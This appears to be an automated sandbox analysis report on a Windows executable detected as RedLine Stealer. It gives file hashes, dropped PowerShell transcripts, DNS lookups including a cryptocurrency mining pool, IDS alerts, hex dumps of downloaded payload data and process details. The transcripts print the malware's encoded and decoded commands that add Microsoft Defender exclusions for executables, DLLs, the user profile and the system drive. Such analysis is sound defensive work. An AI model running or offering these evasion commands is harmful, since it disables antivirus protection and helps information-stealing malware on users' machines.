Reputation:	unknown
Preview:	.*****.Windows PowerShell transcript start..Start time: 20220113222923..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 301389 (Microsoft Windows NT 10.0.17134.0)..Host Application: powershell -EncodedCommand QQBkAGQALQBNAAUAUByAGUAZgBIAHIAZQBuaGMAZQAgaC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuaAHMAaQBvAG4AIABAACgAJwBIAHgAZQAnACwAJwBkAGwAbAAAnACKAlAAAtAEYAbwByAGMAZQA=.Process ID: 6536..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1..*****.*****.*****.Command start time: 20220113222923..*****.PS>Add-MpPreference -ExclusionExtension @('exe','dll') -Force..*****.Windows PowerShell transcript start..Start time: 20220113223342..Username: computer\user..

C:\Users\user\Documents\20220113\PowerShell_transcript.301389.gNiXsMPS.20220113222955.txt	
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	6069
Entropy (8bit):	5.526220818676721
Encrypted:	false
SSDEEP:	96:BZl/2N2cSqDo1ZZ7FZTm/2N2cSqDo1ZQ3x1xvxjZz/2N2cSqDo1ZFSx/x/xlZe:zc0/Ycdck
MD5:	6AF5E3BB55CC8BFB45512EC4500536A2
SHA1:	EB0888AA2188EC84EDDC999769FF45B58476C6A4
SHA-256:	BCF47F0D043F1DFD36EDE3AA8AE7D887B5557D06B8BC3F100834089315C85C1E

C:\Users\user\Documents\20220113\PowerShell_transcript.301389.gNiXsMPS.20220113222955.txt	
SHA-512:	DE18393EFFB511B3034B8D92C8667A0F79123D0A4941265A5172561C88EF30E5CE79C8F2396F78935E5E456573E012BD1D5677C941651E29429DFEB6E9470EBB
Malicious:	false
Reputation:	unknown
Preview:	Windows PowerShell transcript start..Start time: 20220113222956..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 301389 (Microsoft Windows NT 10.0.17134.0)..Host Application: powershell -EncodedCommand QQBkAGQALQBNAHAAUABYAGUAZgBIAHIAZQBAG MAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABIAcWABJABIAG4AdgA6 AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQAACAALQBGAG8AcgBjAGUA..Process ID: 5328..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..Serializati onVersion: 1.1.0.1..*****.*****..Command start time: 20220113222956..*****.PS>Add-MpPreference -ExclusionPath @(\$env: UserProfile,\$env:SystemDrive) -Force..*****.Windows PowerShell transcript start..S

C:\Users\user\Documents\20220113\PowerShell_transcript.301389.kIRY3tpw.20220113223005.txt	
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	5764
Entropy (8bit):	5.5234824015049435
Encrypted:	false
SSDEEP:	96:BZ1/2N2AMsqDo1ZoZm/2N2AMsqDo1ZdgC4jZF/2N2AMsqDo1ZsBoomZx:riLC
MD5:	A731F325C5961E7028711F54948618B3
SHA1:	BEB03099F50ECF69CFCE1486F1423720AB54062F
SHA-256:	54A61DE851C7588342B9FA476314644C874E3F0D9926E460322CA2B1F15BA304
SHA-512:	340EE85C5084E272E3EF7117D35B9B7C53003A6B081914EF1FDC218FABEF3206A18F3D050A6AC98F9DD79B2095DC8CC1DDA05393AF961006039AEBCCFCB778D
Malicious:	false
Reputation:	unknown
Preview:	Windows PowerShell transcript start..Start time: 20220113223007..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 301389 (Microsoft Windows NT 10.0.17134.0)..Host Application: powershell -EncodedCommand QQBkAGQALQBNAHAAUABYAGUAZgBIAHIAZQBAG MAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBIAHgAZQAnACwAJwBkAGwAbAAAnACKAIAAtAEYAbwBy AGMAZQA=..Process ID: 4648..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1.. CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1..*****.***** **..Command start time: 20220113223007..*****.PS>Add-MpPreference -ExclusionExtension @('exe','dll') -Force..*****.Windows PowerShell transcript start..Start time: 20220113223428..Username: computer\user..

C:\Windows\lappcompat\Programs\Amcache.hve	
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1572864
Entropy (8bit):	4.265872464313228
Encrypted:	false
SSDEEP:	12288:/+wJ8zZ/HL/LjvXA01I81kWvUnLe/PityFI8tMS+MBEw9VrcEfDuCqVp:WwJ8zZ/HL/LjvXAmyh8p
MD5:	6396D2C8B725B2581B9F74BD5C6235B1
SHA1:	A83DB73F5017CCC98139189F3EB26320DBC665B4
SHA-256:	32E9E49B906CFC631337F7B5CC0E020578941A7FA993A46DB590D412D29C26B6
SHA-512:	1BD1C00B118F32006CC430E353199B1CBCF972F62D65AEC87B672B287AF7076BB02474CD2C0B328F8B9D9BAF16F074333C17AC60A44A25AED7C6C6B186F7DA
Malicious:	false
Reputation:	unknown
Preview:	regfQ...Q...p.\.,.....\A.p.p.C.o.m.p.a.t.\P.r.o.g.r.a.m.s.\A.m.c.a.c.h.e...h.v.e...4.....E.4.....E....5.....E.rmtm.....

C:\Windows\lappcompat\Programs\Amcache.hve.LOG1	
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	24576
Entropy (8bit):	3.816887642368658
Encrypted:	false
SSDEEP:	384:Nuc5+ZrdodXB54Qp8GXQnxOf2oGPMxwp35GjZmGh8DTTe25N5n6JTH:mqMrOXBjpygf2oVxwpJWmGhSTeyN56JT
MD5:	2B77D5FF3CAC6847757FB7CC961AA4DE
SHA1:	945D3A60BF017FA2B8B97EC8CB7E13A5225EEF27
SHA-256:	6DEECD92ECDE9D63CD58E618FC5E142D59A9E4861556CC0F7A49DE984D3649D5
SHA-512:	C92CEEC65479C6DCC9AB6E868E06C34D53E2FC9FB0263920DAC5D993807957E0E2E0C901032ABBC95B6382375487F1F8F616915F36085658DC0C031A0BAA4B5
Malicious:	false

Reputation:	unknown
Preview:	regfP...P...p.\.....\A.p.p.C.o.m.p.a.t.\P.r.o.g.r.a.m.s.\A.m.c.a.c.h.e...h.v.e...4.....E.4.....E....5.....E.rmtm.....\..HvLE.^.....P.....[.D.K.....hbin.....p.\.....nk,..<.....&...{ad79c032-a2ea-f756-e377-72fb9 332c3ae}.....nk ..<.....P.....Z.....Root.....lf.....Root....nk ..<.....)......*......DeviceCensus.....v k.....WritePermissionsCheck...

Static File Info

General	
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.997547700849744
TrID:	- Win32 Executable (generic) a (10002005/4) 99.96% - Generic Win/DOS Executable (2004/3) 0.02% - DOS Executable Generic (2002/1) 0.02% - Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	bf89b4a3ed5662649d245f4e21ec171f8c7c14b415604.exe
File size:	3557888
MD5:	dbc3444b430d10b8ded18b89bf07ffc8
SHA1:	3b68dc28e3f52e9c14d3d858f492328260e03d38
SHA256:	bf89b4a3ed5662649d245f4e21ec171f8c7c14b4156040443d2d580f6d9fb6f6
SHA512:	2d6481016617b2649dcbfd7eef025a567d8616e9a16a6068ddd8f0a5631604f0399579759a865db89ac6713a7574eaa53e4844e731137c4c431cb99ef18bb00
SSDEEP:	49152:1YK9f/rhELPcPvpwpa5DSdAYTkeXt/e3+AgAWNjnhxsL+LqEQX/wXmboqcR159R:X9XWLP7a5+qYtJpAWpno++c2bfiGOD
File Content Preview:	MZ.....@.....!..L.!Th is program cannot be run in DOS mode....\$......PE..L.... O.a.....\$......@.....@.....T..... .f6.....

File Icon

	
Icon Hash:	00828e8e8686b000

Static PE Info

General	
Entrypoint:	0x401000
Entrypoint Section:	
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE, RELOCS_STRIPPED
DLL Characteristics:	TERMINAL_SERVER_AWARE, NX_COMPAT
Time Stamp:	0x61DF4FEF [Wed Jan 12 22:02:23 2022 UTC]
TLS Callbacks:	
CLR (.Net) Version:	
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	c284fa365c4442728ac859c0f9ed4dc5

Entrypoint Preview

Data Directories

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x22000	0x11200	False	1.00044194799	data	7.9970190865	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
	0x23000	0x1000	0x800	False	1.00537109375	data	7.89241865912	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
	0x24000	0xe926	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
	0x33000	0x1cf8	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
	0x35000	0x1831f0	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
	0x1b9000	0x321000	0x2ee400	unknown	unknown	unknown	unknown	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x4da000	0x1a000	0x19800	False	0.765175015319	data	7.22697635168	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.ovW6bFT	0x4f4000	0x4b000	0x4b000	False	0.987757161458	data	7.91924872339	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.adata	0x53f000	0x1000	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ

Resources

Imports

Possible Origin

Language of compilation system	Country where language is spoken	Map
Russian	Russia	
English	United States	

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
01/13/22-22:28:50.250052	TCP	100000122	COMMUNITY WEB-MISC mod_jrun overflow attempt	49759	81	192.168.2.5	2.56.56.131
01/13/22-22:28:50.723947	UDP	254	DNS SPOOF query response with TTL of 1 min. and no authority	53	63183	8.8.8.8	192.168.2.5

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jan 13, 2022 22:28:40.814117908 CET	192.168.2.5	8.8.8.8	0x38ef	Standard query (0)	api.ip.sb	A (IP address)	IN (0x0001)
Jan 13, 2022 22:28:40.846151114 CET	192.168.2.5	8.8.8.8	0xf532	Standard query (0)	api.ip.sb	A (IP address)	IN (0x0001)
Jan 13, 2022 22:28:50.704051018 CET	192.168.2.5	8.8.8.8	0xe114	Standard query (0)	github.com	A (IP address)	IN (0x0001)
Jan 13, 2022 22:28:50.819560051 CET	192.168.2.5	8.8.8.8	0x99e6	Standard query (0)	raw.github usercontent.com	A (IP address)	IN (0x0001)
Jan 13, 2022 22:30:21.141643047 CET	192.168.2.5	8.8.8.8	0xaeb1	Standard query (0)	stratum-ra vencoin.fl ypool.org	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Jan 13, 2022 22:28:40.835278034 CET	8.8.8.8	192.168.2.5	0x38ef	No error (0)	api.ip.sb	api.ip.sb.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)
Jan 13, 2022 22:28:40.866916895 CET	8.8.8.8	192.168.2.5	0xf532	No error (0)	api.ip.sb	api.ip.sb.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)
Jan 13, 2022 22:28:50.723947048 CET	8.8.8.8	192.168.2.5	0xe114	No error (0)	github.com		140.82.121.4	A (IP address)	IN (0x0001)
Jan 13, 2022 22:28:50.836556911 CET	8.8.8.8	192.168.2.5	0x99e6	No error (0)	raw.github usercontent.com		185.199.109.133	A (IP address)	IN (0x0001)
Jan 13, 2022 22:28:50.836556911 CET	8.8.8.8	192.168.2.5	0x99e6	No error (0)	raw.github usercontent.com		185.199.108.133	A (IP address)	IN (0x0001)
Jan 13, 2022 22:28:50.836556911 CET	8.8.8.8	192.168.2.5	0x99e6	No error (0)	raw.github usercontent.com		185.199.111.133	A (IP address)	IN (0x0001)
Jan 13, 2022 22:28:50.836556911 CET	8.8.8.8	192.168.2.5	0x99e6	No error (0)	raw.github usercontent.com		185.199.110.133	A (IP address)	IN (0x0001)
Jan 13, 2022 22:30:21.170162916 CET	8.8.8.8	192.168.2.5	0xaeb1	No error (0)	stratum-ra vencoin.fl ypool.org	636f99c9511e45f08e5601b5ca39b470.pacloudflare.com		CNAME (Canonical name)	IN (0x0001)
Jan 13, 2022 22:30:21.170162916 CET	8.8.8.8	192.168.2.5	0xaeb1	No error (0)	636f99c9511e45f08e5601b5ca39b470.pacloudflare.com		172.65.228.1	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

- github.com - raw.githubusercontent.com
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HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.5	49766	140.82.121.4	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Timestamp	kBytes transferred	Direction	Data
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Timestamp	kBytes transferred	Direction	Data
2022-01-13 21:28:50 UTC	4	IN	Data Raw: 88 08 0f be 45 fe 83 f8 40 0f 84 24 00 00 00 8b 45 e8 89 c1 83 c0 01 89 45 e8 48 63 c9 48 8b 45 f0 48 01 c8 0f be 4d fd c1 e1 06 0f be 55 fe 01 d1 88 08 b8 00 00 00 00 88 45 ff e9 db fe ff ff 8b 45 e8 48 63 c0 48 8b 4d f0 48 01 c1 b8 00 00 00 00 88 01 48 8b 45 f0 c9 c3 01 04 02 05 04 03 01 50 55 48 89 e5 48 81 ec 40 00 00 00 48 89 4d 10 48 89 55 18 8b 45 18 48 63 c0 48 83 c0 01 49 89 c2 4c 89 d1 e8 c4 11 00 00 48 89 45 f8 8b 45 18 48 63 c0 48 8b 4d f8 48 01 c1 b8 00 00 00 00 88 01 b8 00 00 00 00 89 45 f4 8b 45 f4 8b 4d 18 39 c8 0f 8d 60 00 00 00 e9 0d 00 00 00 8b 45 f4 89 c1 83 c0 01 89 45 f4 eb e0 8b 45 f4 48 63 c0 48 8b 4d f8 48 01 c1 8b 45 f4 48 63 c0 48 8b 55 10 48 01 c2 8b 45 f4 48 89 4d e8 b9 20 00 00 00 48 89 55 e0 99 f7 f9 48 63 d2 48 8d 05 9d 1d Data Ascii: E@\$EEHcHEHMUEEHcHMHHEPUHH@HMHUEHcHILHEEHcHMHEEM9'EEEEhCHMHEHcHUHEHM HUHcH
2022-01-13 21:28:50 UTC	6	IN	Data Raw: eb d1 b8 00 00 00 00 89 85 68 ff ff ff 8b 05 69 09 56 00 8b 8d 6c ff ff ff 29 c8 83 e8 01 8b 8d 68 ff ff ff 39 c1 0f 83 22 01 00 00 e9 13 00 00 00 8b 85 68 ff ff ff 89 c1 83 c0 01 89 85 68 ff ff ff eb c9 8b 85 68 ff ff ff 48 c1 e0 03 48 8b 4d 80 48 01 c1 48 83 c1 04 8b 85 68 ff ff ff 83 c0 01 48 c1 e0 03 48 8b 55 80 48 01 c2 48 83 c2 04 8b 01 8b 0a 39 c8 0f 86 cc 00 00 00 8b 85 68 ff ff ff 48 c1 e0 03 48 8b 4d 80 48 01 c1 8b 01 89 85 60 ff ff ff 8b 85 68 ff ff ff 48 c1 e0 03 48 8b 4d 80 48 01 c1 48 83 c1 04 8b 01 89 85 64 ff ff ff 8b 85 68 ff ff ff 48 c1 e0 03 48 8b 4d 80 48 01 c1 8b 85 68 ff ff ff 83 c0 01 48 c1 e0 03 48 8b 55 80 48 01 c2 8b 02 89 01 8b 85 68 ff ff ff 48 c1 e0 03 48 8b 4d 80 48 01 c1 48 83 c1 04 8b 85 68 ff ff ff 83 c0 01 48 c1 e0 03 48 Data Ascii: hiVl)h9"hhhHHMHhHHUHH9hHHMH`hHHMHdhHHMHhHHUHHhHHMHhHH
2022-01-13 21:28:50 UTC	7	IN	Data Raw: fb ff ff 48 83 c4 1c 48 8b 4c 24 08 48 8b 54 24 10 4c 8b 44 24 18 4c 8b 4c 24 20 49 89 ca 0f 05 c3 48 89 4c 24 08 48 89 54 24 10 4c 89 44 24 18 4c 89 4c 24 20 48 83 ec 1c b9 1a ed 98 f7 e8 b5 fb ff ff 48 83 c4 1c 48 8b 4c 24 08 48 8b 54 24 10 4c 8b 44 24 18 4c 8b 4c 24 20 49 89 ca 0f 05 c3 48 89 4c 24 08 48 89 54 24 10 4c 89 44 24 18 4c 89 4c 24 20 48 83 ec 1c b9 e9 ef 68 f7 e8 75 fb ff ff 48 83 c4 1c 48 8b 4c 24 08 48 8b 54 24 10 4c 8b 4c 24 08 48 8b 4d 80 48 01 c1 48 83 c1 04 8b 01 89 85 64 ff ff ff 8b 85 68 ff ff ff 48 c1 e0 03 48 8b 4d 80 48 01 c1 8b 85 68 ff ff ff 83 c0 01 48 c1 e0 03 48 8b 55 80 48 01 c2 8b 02 89 01 8b 85 68 ff ff ff 48 c1 e0 03 48 8b 4d 80 48 01 c1 48 83 c1 04 8b 85 68 ff ff ff 83 c0 01 48 c1 e0 03 48 Data Ascii: HHL\$HT\$LD\$LL\$ IHL\$HT\$LD\$LL\$ HHHL\$HT\$LD\$LL\$ IHL\$HT\$LD\$LL\$ HhuHHL\$HT\$LD\$LL\$ IHL\$ HT\$LD\$LL\$ HSHHL\$HT\$LD\$LL\$ IHL\$HT\$LD\$LL\$ H
2022-01-13 21:28:50 UTC	8	IN	Data Raw: 00 00 48 89 4d 10 48 89 55 18 4c 89 45 20 48 8b 45 20 49 89 c0 48 8b 45 18 49 89 c3 8b 45 10 49 89 c2 4c 89 d1 4c 89 da e8 d3 fe ff ff 48 8b 05 88 f2 55 00 48 8b 0d 89 f2 55 00 48 8b 15 8a f2 55 00 48 89 45 f0 48 8b 02 49 89 c0 48 8b 01 49 89 c3 48 8b 45 f0 8b 00 49 89 c2 4c 89 d1 4c 89 da e8 92 f0 ff ff 89 45 fc e8 26 ff ff ff 48 c1 e0 03 48 8b 4d 80 48 01 c1 48 83 c1 04 8b 01 89 85 64 ff ff ff 8b 85 68 ff ff ff 48 c1 e0 03 48 8b 4d 80 48 01 c1 8b 85 68 ff ff ff 83 c0 01 48 c1 e0 03 48 8b 55 80 48 01 c2 8b 02 89 01 8b 85 68 ff ff ff 48 c1 e0 03 48 8b 4d 80 48 01 c1 48 83 c1 04 8b 85 68 ff ff ff 83 c0 01 48 c1 e0 03 48 Data Ascii: HMHULE HE IHEIEILLHUHUHUHEHIHIHEILLE&EUHH HMHEHEHEILLUHH@HIIHEILLHILZlrl
2022-01-13 21:28:50 UTC	10	IN	Data Raw: 2f 53 6e 71 6c 73 70 30 57 69 76 51 69 66 73 4b 59 37 36 2b 69 43 2b 58 43 55 6a 4d 6d 56 51 68 63 46 59 59 54 2f 2b 38 55 6e 31 66 36 52 33 58 34 75 78 51 33 76 51 38 45 38 52 55 6d 4d 64 42 77 61 69 51 32 4a 61 45 6f 34 7a 72 70 64 4c 39 6d 35 7a 38 4b 55 6f 39 62 75 69 61 64 4b 74 4c 70 49 6f 7a 43 65 45 45 59 67 68 73 2f 50 7a 58 64 54 6e 62 64 6a 68 74 36 4c 44 44 76 64 71 59 67 76 64 48 77 38 53 4c 30 35 73 71 42 4d 68 70 37 4f 44 6a 6c 4d 67 77 4a 41 71 52 4f 64 75 70 74 4e 4f 45 2f 70 2f 35 33 77 6d 4e 39 58 49 59 35 33 36 43 57 59 35 53 77 6d 64 32 7a 2f 32 74 2f 64 46 4a 39 65 6b 70 37 6c 76 30 56 77 66 7a 35 77 6a 49 48 35 44 77 36 74 33 37 67 49 42 4e 61 54 31 4a 31 4e 70 48 6b 75 6f 50 6e 53 35 76 78 62 6f 41 53 4a 56 36 62 42 46 61 30 4b Data Ascii: /Snqlsp0WivQifskY76+IC+XCUIJmVQhcFYyT/+8Un1f6R3X4uxQ3vQ8ERUmMdBwaiQ2JaEo4zrpd L9m5z8KUo9biuadKtLplozCeEEYghs/PzXdTnbdjht6LDDvdqYgvdHw8SL05sqBMhp7ODjIMgwJAqROduuptNOE/p/ 53wmN9XIY536CWY5Swmd2Z/2t/dFJ9ekp7lv0Vwfv5wjIH5Dw6t37gJBNat1J1NpHkuaPnS5vxb0ASJvP6bBFa0K
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Timestamp	kBytes transferred	Direction	Data
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Timestamp	kBytes transferred	Direction	Data
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Timestamp	kBytes transferred	Direction	Data
2022-01-13 21:28:51 UTC	5466	IN	Data Raw: 53 38 63 43 6d 36 6e 63 74 30 4e 30 53 70 41 47 49 6d 31 31 53 62 39 31 55 6e 69 37 6b 65 79 48 4b 51 31 61 62 64 78 39 56 43 48 79 75 61 71 33 38 52 55 78 56 68 79 46 34 62 51 67 43 51 35 68 2f 39 70 39 48 50 2f 6a 4a 6c 6c 74 42 77 56 53 42 62 31 75 6d 54 35 34 6d 31 4a 70 76 6f 70 53 35 71 5a 43 42 67 64 58 4d 58 5a 33 5a 76 6e 6e 38 3 3 34 76 62 6b 42 6c 64 76 4a 37 56 67 49 2f 59 42 68 68 4e 54 57 51 51 32 71 48 66 6a 56 49 74 51 6c 43 7a 6b 71 57 4a 48 31 79 5a 7a 73 74 37 71 6f 73 4f 57 6c 61 56 68 6d 49 36 77 61 75 7a 7a 6c 39 74 41 6e 67 50 75 6e 4d 33 74 45 37 73 34 34 44 4a 7a 41 49 44 62 39 64 6a 3a 35 2b 6d 71 6a 4c 51 74 6d 6a 7a 31 46 55 72 6a 47 39 77 31 67 79 66 4f 58 75 77 6b 41 5a 64 33 37 36 65 43 5a 2f 4a 79 77 57 32 75 30 35 46 5a 62 Data Ascii: S8cCm6nct0N0SpAGIm11Sb91Uni7keyHKQ1abdx9VCHyuaq38RUxVhyF4bQgCQ5h/9p9HP/jJltBw VSBb1umT54m1JpvopS5qZCBgdXMXZ3Zvnn834vbKBlDvJ7Vgl/YBhhNTWQQ2qHfjVltQICzkqWJH1yZzst7qosOWla Vhml6wauztI9tAngPunM3tE7s44DJzAIDb9dj45+mqlLQtmjz1FUrjG9w1gyfOXuwkAZd376eCZ/JywW2u05FZb
2022-01-13 21:28:51 UTC	5482	IN	Data Raw: 75 52 4b 67 2f 54 2f 5a 37 69 51 6b 77 37 6a 76 63 35 59 42 63 76 5a 55 4a 4c 79 39 41 54 59 78 54 54 52 56 69 4f 56 30 66 4d 61 51 74 76 39 31 63 53 6e 63 54 65 2b 77 32 58 51 67 44 58 4c 32 58 59 63 77 6f 50 32 48 4d 43 73 51 49 75 6a 61 6f 6e 69 50 49 42 49 48 46 6e 31 2f 4a 59 65 54 61 47 42 50 46 4b 5a 72 79 58 51 37 36 61 32 74 6e 41 42 58 49 43 50 51 4b 54 6a 44 6b 69 78 63 62 52 67 53 7a 44 62 36 6e 70 6e 6a 64 34 36 6e 62 4e 56 72 67 43 78 69 67 5a 44 4e 55 59 75 62 35 2f 73 30 59 68 72 57 51 55 41 36 66 36 4d 77 64 32 4b 79 51 4c 64 51 5a 78 67 75 65 64 45 34 43 4 e 35 61 4e 78 63 44 36 38 47 4c 64 30 55 42 76 38 50 6e 4e 45 38 6e 52 36 4e 5a 71 76 4a 64 34 43 50 54 4f 4e 41 64 78 46 6e 58 6f 4d 46 65 77 58 45 73 72 55 6a 39 73 36 2b 4a 75 63 42 Data Ascii: uRKg/T/Z7iQkw7jvc5YBcvZUJLy9ATYxTTRViOV0fMaQtv91cSncTe+w2XQgDXL2XYcwoP2HMCsQIu jaoniPIBIHFn1/JYeTaGBPFKZryXQ76a2tnABXICPQKTjDkixcbRgSzDb6npnjd46nbNVrgCxigZDNUYub5/s0YhrW QUA6f6Mwd2KyQLdQXguedE4CN5aNxcD68GLd0UBv8PnNE8nR6NZqvJd4CPTONAdxFnXoMFewXEsrUj9s6+JucB
2022-01-13 21:28:51 UTC	5498	IN	Data Raw: 35 76 30 61 48 56 6a 4c 76 49 7a 51 7a 2f 35 71 79 44 2b 4a 69 61 4b 33 48 4a 73 59 79 54 7a 4c 55 6f 6e 38 62 49 2b 34 7a 77 36 4f 2f 2b 5a 6e 63 42 7a 65 58 49 6e 2f 44 46 61 49 50 36 38 4a 75 6e 35 2b 32 31 6a 61 44 54 6c 6d 6f 66 33 61 48 5a 6f 4a 2b 47 66 4f 65 79 44 46 31 49 30 39 35 51 44 57 54 72 74 74 51 4e 49 36 58 6c 51 70 53 4c 51 65 46 35 69 62 7a 37 30 50 32 77 75 6c 61 45 38 34 6f 30 72 35 37 6b 48 53 66 54 4a 51 6d 70 31 64 32 77 58 62 6c 43 6c 6e 4c 33 37 70 70 30 6e 2b 37 33 32 61 57 39 71 4e 69 73 6f 4b 79 49 2b 4a 69 77 32 4c 4c 45 32 34 33 59 2f 35 62 45 69 36 4b 4f 4c 32 6d 35 75 59 6c 79 6f 4d 66 73 6b 53 31 6f 7a 2b 53 73 31 69 36 42 76 63 6d 76 30 7a 55 5a 71 64 58 64 74 49 39 5a 69 62 47 4e 6f 44 56 55 6d 35 48 55 31 2b 2b 38 76 Data Ascii: 5v0aHVJlVlzQz/5qyD+JiaK3HJsYyTzLUon8bl+4zw6O/+ZncBzeXln/DFaIP68Jun5+21jaDTImof3aHZoJ+GfO eyDF1I095QDWTrrtQNI6XIqpSLQeF5ibz70P2wulaE84o0r57kHSfTJQmp1d2wXblClnL37pp0n+732aW9qNisoKyl +Jiw2LLE243Y/5bEi6KOL2m5uYlyoMfskS1oz+Ss1i6Bvcmv0zUZqdXdtl9ZibGN0DVUm5HU1++8v

Code Manipulations

Statistics

Behavior



Click to jump to process

System Behavior

Analysis Process: bf89b4a3ed5662649d245f4e21ec171f8c7c14b415604.exe PID: 6328
Parent PID: 6112

General

Start time:	22:28:14
Start date:	13/01/2022
Path:	C:\Users\user\Desktop\bf89b4a3ed5662649d245f4e21ec171f8c7c14b415604.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\bf89b4a3ed5662649d245f4e21ec171f8c7c14b415604.exe"
Imagebase:	0x400000
File size:	3557888 bytes
MD5 hash:	DBC3444B430D10B8DED18B89BF07FFC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi

Yara matches:	• Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000000.249417208.00000000000C2000.00000004.00000001.sdmp, Author: Joe Security • Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000000.254663403.00000000000C2000.00000004.00000001.sdmp, Author: Joe Security • Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000003.247223959.00000000036E2000.00000004.00000001.sdmp, Author: Joe Security • Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000002.296099249.00000000000C2000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Analysis Process: AppLaunch.exe PID: 6388 Parent PID: 6328

General	
Start time:	22:28:16
Start date:	13/01/2022
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
Imagebase:	0x2f0000
File size:	98912 bytes
MD5 hash:	6807F903AC06FF7E1670181378690B22
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	• Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000002.00000002.327340364.00000000000402000.00000020.00000001.sdmp, Author: Joe Security • Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000002.00000002.330759901.0000000007210000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	moderate

File Activities

Show Windows behavior

File Created

File Written

File Read

Registry Activities

Show Windows behavior

